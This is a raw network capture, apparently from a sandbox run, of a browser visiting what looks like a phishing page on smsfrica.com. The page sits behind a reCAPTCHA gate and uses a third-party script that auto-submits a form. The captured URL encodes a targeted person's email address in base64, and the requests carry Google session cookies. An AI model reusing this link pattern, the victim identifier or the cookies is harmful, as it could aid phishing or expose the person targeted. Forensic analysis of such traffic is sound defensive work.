2024-03-15 12:58:42 UTC	537	IN	Data Raw: 47 49 46 38 39 61 64 03 0e 00 d5 00 00 36 65 94 f7 f9 fb ad c0 d4 9d b4 cb cd d9 e4 7c 9b b9 a2 b8 ce 6d 8f b1 e6 ec f2 5c 82 a9 8c a7 c2 bd cd dc 4e 77 a1 f2 f5 f8 b0 c3 d5 85 a2 be dc e4 ec 93 ad c6 ff ff ff 58 7f a6 73 94 b5 a7 bc d0 c5 d2 e0 64 89 ad 81 9e bc d1 dc e7 ea ef f4 f6 f8 fa b3 c5 d7 7b 94 b5 7e 9d bb 8c ad c5 6b 94 b5 8c a5 bd 63 87 ac 59 80 a7 d4 de e8 ed f1 f5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 f9 04 00 07 00 ff 00 2c 00 00 00 00 64 03 0e 00 00 06 ff 40 83 41 42 2c 1a 8f c8 a4 72 c9 6c 3a 9f d0 a8 74 4a ad 5a af d8 ac 76 cb ed 7a bf e0 b0 Data Ascii: GIF89ad6e\|m\NwXsd{~kcY!,d@AB,rl:tJZvz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.17	49786	192.185.112.107	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:42 UTC	618	OUT	GET /favicon.ico HTTP/1.1 Host: smsfrica.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:58:42 UTC	263	IN	HTTP/1.1 404 Not Found Date: Fri, 15 Mar 2024 12:58:42 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 30 Sep 2022 16:16:14 GMT Accept-Ranges: bytes Content-Length: 11816 Vary: Accept-Encoding Content-Type: text/html
2024-03-15 12:58:42 UTC	7929	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 20 70 72 6f 66 69 6c 65 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head profile="http://gmpg.org/xfn/11"> <meta http-equiv="Content-Typ
2024-03-15 12:58:42 UTC	3887	IN	Data Raw: 69 74 65 43 6f 6e 64 20 25 7b 52 45 51 55 45 53 54 5f 46 49 4c 45 4e 41 4d 45 7d 20 21 2d 64 3c 62 72 3e 0a 09 09 09 09 09 09 09 09 09 09 52 65 77 72 69 74 65 52 75 6c 65 20 2e 20 2f 69 6e 64 65 78 2e 70 68 70 20 5b 4c 5d 3c 62 72 3e 0a 09 09 09 09 09 09 09 09 09 09 26 6c 74 3b 2f 49 66 4d 6f 64 75 6c 65 26 67 74 3b 3c 62 72 3e 0a 09 09 09 09 09 09 09 09 09 09 23 20 45 6e 64 20 57 6f 72 64 50 72 65 73 73 0a 09 09 09 09 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 3c 70 3e 49 66 20 79 6f 75 72 20 62 6c 6f 67 20 69 73 20 73 68 6f 77 69 6e 67 20 74 68 65 20 77 72 6f 6e 67 20 64 6f 6d 61 69 6e 20 6e 61 6d 65 20 69 6e 20 6c 69 6e 6b 73 2c 20 72 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 61 6e 6f 74 68 65 Data Ascii: iteCond %{REQUEST_FILENAME} !-d<br>RewriteRule . /index.php [L]<br></IfModule><br># End WordPress</p></div><p>If your blog is showing the wrong domain name in links, redirecting to anothe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.17	49790	192.185.112.107	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:07 UTC	770	OUT	GET /QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== HTTP/1.1 Host: smsfrica.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:59:07 UTC	382	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:59:07 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=dd3dfc76f6668abfca64a9ad1535394a; path=/ Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-03-15 12:59:07 UTC	2508	IN	Data Raw: 39 63 30 0d 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 Data Ascii: 9c0<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><link rel="icon" type="image/x-icon" href="https://www.google.com/favicon.ico"><meta name="viewport" cont

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.17	49791	142.250.65.228	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:08 UTC	915	OUT	GET /recaptcha/api.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://smsfrica.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:59:08 UTC	528	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Fri, 15 Mar 2024 12:59:08 GMT Date: Fri, 15 Mar 2024 12:59:08 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:59:08 UTC	724	IN	Data Raw: 34 63 36 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 4c6/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2024-03-15 12:59:08 UTC	505	IN	Data Raw: 6d 56 34 63 47 6c 79 65 53 49 36 4d 54 63 79 4e 54 51 77 4e 7a 6b 35 4f 53 77 69 61 58 4e 54 64 57 4a 6b 62 32 31 68 61 57 34 69 4f 6e 52 79 64 57 55 73 49 6d 6c 7a 56 47 68 70 63 6d 52 51 59 58 4a 30 65 53 49 36 64 48 4a 31 5a 58 30 3d 27 3b 64 2e 68 65 61 64 2e 70 72 65 70 65 6e 64 28 6d 29 3b 70 6f 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 30 37 67 30 6d 70 50 47 75 6b 54 6f 32 30 56 71 4b 61 38 47 62 54 53 77 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 3b 70 6f 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 27 61 6e 6f 6e 79 6d 6f 75 73 27 3b 70 6f 2e 69 6e 74 65 67 72 69 74 79 3d 27 73 68 61 33 38 34 2d 37 6e 36 76 67 6f 6d 41 36 57 70 44 30 55 Data Ascii: mV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/07g0mpPGukTo20VqKa8GbTSw/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-7n6vgomA6WpD0U
2024-03-15 12:59:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.17	49792	178.63.61.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:08 UTC	523	OUT	GET /read1.js HTTP/1.1 Host: www.rubinoviaggi.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://smsfrica.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:59:08 UTC	273	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:59:08 GMT Server: Apache/2.4.29 Last-Modified: Tue, 08 Jun 2021 01:53:14 GMT ETag: "4e-5c4376bc6f680" Accept-Ranges: bytes Content-Length: 78 Vary: Accept-Encoding Connection: close Content-Type: application/javascript
2024-03-15 12:59:08 UTC	78	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 72 65 63 61 70 74 63 68 61 43 61 6c 6c 62 61 63 6b 28 29 20 7b 0a 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 43 6c 69 65 6e 74 31 22 29 2e 73 75 62 6d 69 74 28 29 3b 0a 7d 3b Data Ascii: function recaptchaCallback() {document.getElementById("Client1").submit();};

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.17	49794	142.250.64.68	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:09 UTC	1228	OUT	GET /recaptcha/api2/anchor?ar=1&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O&co=aHR0cHM6Ly9zbXNmcmljYS5jb206NDQz&hl=en&v=07g0mpPGukTo20VqKa8GbTSw&size=normal&cb=um8bxu9180ki HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://smsfrica.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:59:09 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Mar 2024 12:59:09 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-RQWEyIgsrjF6zk-KJOu2Cw' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:59:09 UTC	361	IN	Data Raw: 32 61 64 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b Data Ascii: 2ad6<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face {
2024-03-15 12:59:09 UTC	1252	IN	Data Raw: 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 Data Ascii: o/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//f
2024-03-15 12:59:09 UTC	1252	IN	Data Raw: 39 2c 20 55 2b 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 Data Ascii: 9, U+20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329,
2024-03-15 12:59:09 UTC	1252	IN	Data Raw: 30 2d 30 34 39 31 2c 20 55 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a Data Ascii: 0-0491, U+04B0-04B1, U+2116;}/* greek-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}
2024-03-15 12:59:09 UTC	1252	IN	Data Raw: 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c Data Ascii: */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA,
2024-03-15 12:59:09 UTC	1252	IN	Data Raw: 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b Data Ascii: l(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal;
2024-03-15 12:59:09 UTC	1252	IN	Data Raw: 20 55 2b 46 45 46 46 2c 20 55 2b 46 46 46 44 3b 0a 7d 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 30 37 67 30 6d 70 50 47 75 6b 54 6f 32 30 56 71 4b 61 38 47 62 54 53 77 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 52 51 57 45 79 49 67 73 72 6a 46 36 7a 6b 2d 4b 4a 4f 75 32 43 77 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 Data Ascii: U+FEFF, U+FFFD;}</style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/07g0mpPGukTo20VqKa8GbTSw/styles__ltr.css"><script nonce="RQWEyIgsrjF6zk-KJOu2Cw" type="text/javascript">window['__recaptcha_api'] = 'http
